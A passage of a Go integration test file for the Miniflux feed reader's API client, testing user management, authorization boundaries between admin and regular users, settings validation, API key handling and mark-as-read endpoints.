miniflux.NewClient(\"incorrect url\")\n\tif _, err := client.Users(); err == nil {\n\t\tt.Fatal(`Using an incorrect URL should raise an error`)\n\t}\n\n\tclient = miniflux.NewClient(\"\")\n\tif _, err := client.Users(); err == nil {\n\t\tt.Fatal(`Using an empty URL should raise an error`)\n\t}\n}\n\nfunc TestHealthcheckEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tclient := miniflux.NewClient(testConfig.testBaseURL)\n\tif err := client.Healthcheck(); err != nil {\n\t\tt.Fatal(err)\n\t}\n}\n\nfunc TestVersionEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tclient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\tversion, err := client.Version()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif version.Version == \"\" {\n\t\tt.Fatal(`Version should not be empty`)\n\t}\n\n\tif version.Commit == \"\" {\n\t\tt.Fatal(`Commit should not be empty`)\n\t}\n\n\tif version.BuildDate == \"\" {\n\t\tt.Fatal(`Build date should not be empty`)\n\t}\n\n\tif version.GoVersion == \"\" {\n\t\tt.Fatal(`Go version should not be empty`)\n\t}\n\n\tif version.Compiler == \"\" {\n\t\tt.Fatal(`Compiler should not be empty`)\n\t}\n\n\tif version.Arch == \"\" {\n\t\tt.Fatal(`Arch should not be empty`)\n\t}\n\n\tif version.OS == \"\" {\n\t\tt.Fatal(`OS should not be empty`)\n\t}\n}\n\nfunc TestInvalidCredentials(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tclient := miniflux.NewClient(testConfig.testBaseURL, \"invalid\", \"invalid\")\n\t_, err := client.Users()\n\tif err == nil {\n\t\tt.Fatal(`Using bad credentials should raise an error`)\n\t}\n\n\tif err != miniflux.ErrNotAuthorized {\n\t\tt.Fatal(`A \"Not Authorized\" error should be raised`)\n\t}\n}\n\nfunc TestGetMeEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tclient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\tuser, err := client.Me()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif user.Username != testConfig.testAdminUsername {\n\t\tt.Fatalf(`Invalid username, got %q instead of %q`, user.Username, testConfig.testAdminUsername)\n\t}\n}\n\nfunc TestGetUsersEndpointAsAdmin(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tclient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\tusers, err := client.Users()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(users) == 0 {\n\t\tt.Fatal(`Users should not be empty`)\n\t}\n\n\tif users[0].ID == 0 {\n\t\tt.Fatalf(`Invalid userID, got \"%v\"`, users[0].ID)\n\t}\n\n\tif users[0].Username != testConfig.testAdminUsername {\n\t\tt.Fatalf(`Invalid username, got \"%v\" instead of \"%v\"`, users[0].Username, testConfig.testAdminUsername)\n\t}\n\n\tif users[0].Password != \"\" {\n\t\tt.Fatalf(`Invalid password, got \"%v\"`, users[0].Password)\n\t}\n\n\tif users[0].Language != \"en_US\" {\n\t\tt.Fatalf(`Invalid language, got \"%v\"`, users[0].Language)\n\t}\n\n\tif users[0].Theme != \"light_serif\" {\n\t\tt.Fatalf(`Invalid theme, got \"%v\"`, users[0].Theme)\n\t}\n\n\tif users[0].Timezone != \"UTC\" {\n\t\tt.Fatalf(`Invalid timezone, got \"%v\"`, users[0].Timezone)\n\t}\n\n\tif !users[0].IsAdmin {\n\t\tt.Fatalf(`Invalid role, got \"%v\"`, users[0].IsAdmin)\n\t}\n\n\tif users[0].EntriesPerPage != 100 {\n\t\tt.Fatalf(`Invalid entries per page, got \"%v\"`, users[0].EntriesPerPage)\n\t}\n\n\tif users[0].DisplayMode != \"standalone\" {\n\t\tt.Fatalf(`Invalid web app display mode, got \"%v\"`, users[0].DisplayMode)\n\t}\n\n\tif users[0].GestureNav != \"tap\" {\n\t\tt.Fatalf(`Invalid gesture navigation, got \"%v\"`, users[0].GestureNav)\n\t}\n\n\tif users[0].DefaultReadingSpeed != 265 {\n\t\tt.Fatalf(`Invalid default reading speed, got \"%v\"`, users[0].DefaultReadingSpeed)\n\t}\n\n\tif users[0].CJKReadingSpeed != 500 {\n\t\tt.Fatalf(`Invalid cjk reading speed, got \"%v\"`, users[0].CJKReadingSpeed)\n\t}\n}\n\nfunc TestGetUsersEndpointAsRegularUser(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\t_, err = regularUserClient.Users()\n\tif err == nil {\n\t\tt.Fatal(`Regular users should not have access to the users endpoint`)\n\t}\n}\n\nfunc TestCreateUserEndpointAsAdmin(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tclient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tusername := testConfig.genRandomUsername()\n\tregularTestUser, err := client.CreateUser(username, testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer client.DeleteUser(regularTestUser.ID)\n\n\tif regularTestUser.Username != username {\n\t\tt.Fatalf(`Invalid username, got \"%v\" instead of \"%v\"`, regularTestUser.Username, username)\n\t}\n\n\tif regularTestUser.Password != \"\" {\n\t\tt.Fatalf(`Invalid password, got \"%v\"`, regularTestUser.Password)\n\t}\n\n\tif regularTestUser.Language != \"en_US\" {\n\t\tt.Fatalf(`Invalid language, got \"%v\"`, regularTestUser.Language)\n\t}\n\n\tif regularTestUser.Theme != \"light_serif\" {\n\t\tt.Fatalf(`Invalid theme, got \"%v\"`, regularTestUser.Theme)\n\t}\n\n\tif regularTestUser.Timezone != \"UTC\" {\n\t\tt.Fatalf(`Invalid timezone, got \"%v\"`, regularTestUser.Timezone)\n\t}\n\n\tif regularTestUser.IsAdmin {\n\t\tt.Fatalf(`Invalid role, got \"%v\"`, regularTestUser.IsAdmin)\n\t}\n\n\tif regularTestUser.EntriesPerPage != 100 {\n\t\tt.Fatalf(`Invalid entries per page, got \"%v\"`, regularTestUser.EntriesPerPage)\n\t}\n\n\tif regularTestUser.DisplayMode != \"standalone\" {\n\t\tt.Fatalf(`Invalid web app display mode, got \"%v\"`, regularTestUser.DisplayMode)\n\t}\n\n\tif regularTestUser.GestureNav != \"tap\" {\n\t\tt.Fatalf(`Invalid gesture navigation, got \"%v\"`, regularTestUser.GestureNav)\n\t}\n\n\tif regularTestUser.DefaultReadingSpeed != 265 {\n\t\tt.Fatalf(`Invalid default reading speed, got \"%v\"`, regularTestUser.DefaultReadingSpeed)\n\t}\n\n\tif regularTestUser.CJKReadingSpeed != 500 {\n\t\tt.Fatalf(`Invalid cjk reading speed, got \"%v\"`, regularTestUser.CJKReadingSpeed)\n\t}\n}\n\nfunc TestCreateUserEndpointAsRegularUser(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\t_, err = regularUserClient.CreateUser(regularTestUser.Username, testConfig.testRegularPassword, false)\n\tif err == nil {\n\t\tt.Fatal(`Regular users should not have access to the create user endpoint`)\n\t}\n}\n\nfunc TestCannotCreateDuplicateUser(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tclient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\t_, err := client.CreateUser(testConfig.testAdminUsername, testConfig.testAdminPassword, true)\n\tif err == nil {\n\t\tt.Fatal(`Duplicated users should not be allowed`)\n\t}\n}\n\nfunc TestRemoveUserEndpointAsAdmin(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tclient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\tuser, err := client.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif err := client.DeleteUser(user.ID); err != nil {\n\t\tt.Fatal(err)\n\t}\n}\n\nfunc TestRemoveUserEndpointAsRegularUser(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\terr = regularUserClient.DeleteUser(regularTestUser.ID)\n\tif err == nil {\n\t\tt.Fatal(`Regular users should not have access to the remove user endpoint`)\n\t}\n}\n\nfunc TestGetUserByIDEndpointAsAdmin(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tclient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\tuser, err := client.Me()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tuserByID, err := client.UserByID(user.ID)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif userByID.ID != user.ID {\n\t\tt.Errorf(`Invalid userID, got \"%v\" instead of \"%v\"`, userByID.ID, user.ID)\n\t}\n\n\tif userByID.Username != user.Username {\n\t\tt.Errorf(`Invalid username, got \"%v\" instead of \"%v\"`, userByID.Username, user.Username)\n\t}\n\n\tif userByID.Password != \"\" {\n\t\tt.Errorf(`The password field must be empty, got \"%v\"`, userByID.Password)\n\t}\n\n\tif userByID.Language != user.Language {\n\t\tt.Errorf(`Invalid language, got \"%v\"`, userByID.Language)\n\t}\n\n\tif userByID.Theme != user.Theme {\n\t\tt.Errorf(`Invalid theme, got \"%v\"`, userByID.Theme)\n\t}\n\n\tif userByID.Timezone != user.Timezone {\n\t\tt.Errorf(`Invalid timezone, got \"%v\"`, userByID.Timezone)\n\t}\n\n\tif userByID.IsAdmin != user.IsAdmin {\n\t\tt.Errorf(`Invalid role, got \"%v\"`, userByID.IsAdmin)\n\t}\n\n\tif userByID.EntriesPerPage != user.EntriesPerPage {\n\t\tt.Errorf(`Invalid entries per page, got \"%v\"`, userByID.EntriesPerPage)\n\t}\n\n\tif userByID.DisplayMode != user.DisplayMode {\n\t\tt.Errorf(`Invalid web app display mode, got \"%v\"`, userByID.DisplayMode)\n\t}\n\n\tif userByID.GestureNav != user.GestureNav {\n\t\tt.Errorf(`Invalid gesture navigation, got \"%v\"`, userByID.GestureNav)\n\t}\n\n\tif userByID.DefaultReadingSpeed != user.DefaultReadingSpeed {\n\t\tt.Errorf(`Invalid default reading speed, got \"%v\"`, userByID.DefaultReadingSpeed)\n\t}\n\n\tif userByID.CJKReadingSpeed != user.CJKReadingSpeed {\n\t\tt.Errorf(`Invalid cjk reading speed, got \"%v\"`, userByID.CJKReadingSpeed)\n\t}\n\n\tif userByID.EntryDirection != user.EntryDirection {\n\t\tt.Errorf(`Invalid entry direction, got \"%v\"`, userByID.EntryDirection)\n\t}\n\n\tif userByID.EntryOrder != user.EntryOrder {\n\t\tt.Errorf(`Invalid entry order, got \"%v\"`, userByID.EntryOrder)\n\t}\n}\n\nfunc TestGetUserByIDEndpointAsRegularUser(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\t_, err = regularUserClient.UserByID(regularTestUser.ID)\n\tif err == nil {\n\t\tt.Fatal(`Regular users should not have access to the user by ID endpoint`)\n\t}\n}\n\nfunc TestGetUserByUsernameEndpointAsAdmin(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tclient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\tuser, err := client.Me()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tuserByUsername, err := client.UserByUsername(user.Username)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif userByUsername.ID != user.ID {\n\t\tt.Errorf(`Invalid userID, got \"%v\" instead of \"%v\"`, userByUsername.ID, user.ID)\n\t}\n\n\tif userByUsername.Username != user.Username {\n\t\tt.Errorf(`Invalid username, got \"%v\" instead of \"%v\"`, userByUsername.Username, user.Username)\n\t}\n\n\tif userByUsername.Password != \"\" {\n\t\tt.Errorf(`The password field must be empty, got \"%v\"`, userByUsername.Password)\n\t}\n\n\tif userByUsername.Language != user.Language {\n\t\tt.Errorf(`Invalid language, got \"%v\"`, userByUsername.Language)\n\t}\n\n\tif userByUsername.Theme != user.Theme {\n\t\tt.Errorf(`Invalid theme, got \"%v\"`, userByUsername.Theme)\n\t}\n\n\tif userByUsername.Timezone != user.Timezone {\n\t\tt.Errorf(`Invalid timezone, got \"%v\"`, userByUsername.Timezone)\n\t}\n\n\tif userByUsername.IsAdmin != user.IsAdmin {\n\t\tt.Errorf(`Invalid role, got \"%v\"`, userByUsername.IsAdmin)\n\t}\n\n\tif userByUsername.EntriesPerPage != user.EntriesPerPage {\n\t\tt.Errorf(`Invalid entries per page, got \"%v\"`, userByUsername.EntriesPerPage)\n\t}\n\n\tif userByUsername.DisplayMode != user.DisplayMode {\n\t\tt.Errorf(`Invalid web app display mode, got \"%v\"`, userByUsername.DisplayMode)\n\t}\n\n\tif userByUsername.GestureNav != user.GestureNav {\n\t\tt.Errorf(`Invalid gesture navigation, got \"%v\"`, userByUsername.GestureNav)\n\t}\n\n\tif userByUsername.DefaultReadingSpeed != user.DefaultReadingSpeed {\n\t\tt.Errorf(`Invalid default reading speed, got \"%v\"`, userByUsername.DefaultReadingSpeed)\n\t}\n\n\tif userByUsername.CJKReadingSpeed != user.CJKReadingSpeed {\n\t\tt.Errorf(`Invalid cjk reading speed, got \"%v\"`, userByUsername.CJKReadingSpeed)\n\t}\n\n\tif userByUsername.EntryDirection != user.EntryDirection {\n\t\tt.Errorf(`Invalid entry direction, got \"%v\"`, userByUsername.EntryDirection)\n\t}\n}\n\nfunc TestGetUserByUsernameEndpointAsRegularUser(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\t_, err = regularUserClient.UserByUsername(regularTestUser.Username)\n\tif err == nil {\n\t\tt.Fatal(`Regular users should not have access to the user by username endpoint`)\n\t}\n}\n\nfunc TestUpdateUserEndpointByChangingDefaultTheme(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tuserUpdateRequest := &miniflux.UserModificationRequest{\n\t\tTheme: new(\"dark_serif\"),\n\t}\n\n\tupdatedUser, err := regularUserClient.UpdateUser(regularTestUser.ID, userUpdateRequest)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif updatedUser.Theme != \"dark_serif\" {\n\t\tt.Fatalf(`Invalid theme, got \"%v\"`, updatedUser.Theme)\n\t}\n}\n\nfunc TestUpdateUserEndpointByChangingExternalFonts(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tuserUpdateRequest := &miniflux.UserModificationRequest{\n\t\tExternalFontHosts: new(\"  fonts.example.org  \"),\n\t}\n\n\tupdatedUser, err := regularUserClient.UpdateUser(regularTestUser.ID, userUpdateRequest)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif updatedUser.ExternalFontHosts != \"fonts.example.org\" {\n\t\tt.Fatalf(`Invalid external font hosts, got \"%v\"`, updatedUser.ExternalFontHosts)\n\t}\n}\n\nfunc TestUpdateUserEndpointByChangingExternalFontsWithInvalidValue(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tuserUpdateRequest := &miniflux.UserModificationRequest{\n\t\tExternalFontHosts: new(\"'self' *\"),\n\t}\n\n\tif _, err := regularUserClient.UpdateUser(regularTestUser.ID, userUpdateRequest); err == nil {\n\t\tt.Fatal(`Updating the user with an invalid external font host should raise an error`)\n\t}\n}\n\nfunc TestUpdateUserEndpointByChangingCustomJS(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tuserUpdateRequest := &miniflux.UserModificationRequest{\n\t\tCustomJS: new(\"alert('Hello, World!');\"),\n\t}\n\n\tupdatedUser, err := regularUserClient.UpdateUser(regularTestUser.ID, userUpdateRequest)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif updatedUser.CustomJS != \"alert('Hello, World!');\" {\n\t\tt.Fatalf(`Invalid custom JS, got %q`, updatedUser.CustomJS)\n\t}\n}\n\nfunc TestUpdateUserEndpointByChangingDefaultThemeToInvalidValue(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tuserUpdateRequest := &miniflux.UserModificationRequest{\n\t\tTheme: new(\"invalid_theme\"),\n\t}\n\n\t_, err = regularUserClient.UpdateUser(regularTestUser.ID, userUpdateRequest)\n\tif err == nil {\n\t\tt.Fatal(`Updating the user with an invalid theme should raise an error`)\n\t}\n}\n\nfunc TestRegularUsersCannotUpdateOtherUsers(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\tadminUser, err := adminClient.Me()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tuserUpdateRequest := &miniflux.UserModificationRequest{\n\t\tTheme: new(\"dark_serif\"),\n\t}\n\n\t_, err = regularUserClient.UpdateUser(adminUser.ID, userUpdateRequest)\n\tif err == nil {\n\t\tt.Fatal(`Regular users should not be able to update other users`)\n\t}\n}\n\nfunc TestAPIKeysEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\tapiKeys, err := regularUserClient.APIKeys()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(apiKeys) != 0 {\n\t\tt.Fatalf(`Expected no API keys, got %d`, len(apiKeys))\n\t}\n\n\t// Create an API key for the user.\n\tapiKey, err := regularUserClient.CreateAPIKey(\"Test API Key\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif apiKey.ID == 0 {\n\t\tt.Fatalf(`Invalid API key ID, got \"%v\"`, apiKey.ID)\n\t}\n\tif apiKey.UserID != regularTestUser.ID {\n\t\tt.Fatalf(`Invalid user ID for API key, got \"%v\" instead of \"%v\"`, apiKey.UserID, regularTestUser.ID)\n\t}\n\tif apiKey.Token == \"\" {\n\t\tt.Fatalf(`Invalid API key token, got \"%v\"`, apiKey.Token)\n\t}\n\tif apiKey.Description != \"Test API Key\" {\n\t\tt.Fatalf(`Invalid API key description, got \"%v\" instead of \"Test API Key\"`, apiKey.Description)\n\t}\n\n\t// Create a duplicate API key with the same description.\n\tif _, err := regularUserClient.CreateAPIKey(\"Test API Key\"); err == nil {\n\t\tt.Fatal(`Creating a duplicate API key with the same description should raise an error`)\n\t}\n\n\t// Fetch the API keys again.\n\tapiKeys, err = regularUserClient.APIKeys()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif len(apiKeys) != 1 {\n\t\tt.Fatalf(`Expected 1 API key, got %d`, len(apiKeys))\n\t}\n\tif apiKeys[0].ID != apiKey.ID {\n\t\tt.Fatalf(`Invalid API key ID, got \"%v\" instead of \"%v\"`, apiKeys[0].ID, apiKey.ID)\n\t}\n\tif apiKeys[0].UserID != regularTestUser.ID {\n\t\tt.Fatalf(`Invalid user ID for API key, got \"%v\" instead of \"%v\"`, apiKeys[0].UserID, regularTestUser.ID)\n\t}\n\tif apiKeys[0].Token != apiKey.Token {\n\t\tt.Fatalf(`Invalid API key token, got \"%v\" instead of \"%v\"`, apiKeys[0].Token, apiKey.Token)\n\t}\n\tif apiKeys[0].Description != \"Test API Key\" {\n\t\tt.Fatalf(`Invalid API key description, got \"%v\" instead of \"Test API Key\"`, apiKeys[0].Description)\n\t}\n\n\t// Create a new client using the API key.\n\tapiKeyClient := miniflux.NewClient(testConfig.testBaseURL, apiKey.Token)\n\n\t// Fetch the user using the API key client.\n\tuser, err := apiKeyClient.Me()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// Verify the user matches the regular test user.\n\tif user.ID != regularTestUser.ID {\n\t\tt.Fatalf(`Expected user ID %d, got %d`, regularTestUser.ID, user.ID)\n\t}\n\n\t// Delete the API key.\n\tif err := regularUserClient.DeleteAPIKey(apiKey.ID); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// Verify the API key is deleted.\n\tapiKeys, err = regularUserClient.APIKeys()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif len(apiKeys) != 0 {\n\t\tt.Fatalf(`Expected no API keys after deletion, got %d`, len(apiKeys))\n\t}\n\n\t// Try to delete the API key again, it should return an error.\n\terr = regularUserClient.DeleteAPIKey(apiKey.ID)\n\tif err == nil {\n\t\tt.Fatal(`Deleting a non-existent API key should raise an error`)\n\t}\n\tif !errors.Is(err, miniflux.ErrNotFound) {\n\t\tt.Fatalf(`Expected \"not found\" error, got %v`, err)\n\t}\n\n\t// Try to create an API key with an empty description.\n\tif _, err := regularUserClient.CreateAPIKey(\"\"); err == nil {\n\t\tt.Fatal(`Creating an API key with an empty description should raise an error`)\n\t}\n}\n\nfunc TestMarkUserAsReadEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif err := regularUserClient.MarkAllAsRead(regularTestUser.ID); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tresults, err := regularUserClient.FeedEntries(feedID, nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfor _, entry := range results.Entries {\n\t\tif entry.Status != miniflux.EntryStatusRead {\n\t\t\tt.Errorf(`Status for entry %d was %q instead of %q`, entry.ID, entry.Status, miniflux.EntryStatusRead)\n\t\t}\n\t}\n}\n\nfunc TestCannotMarkUserAsReadAsOtherUser(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := 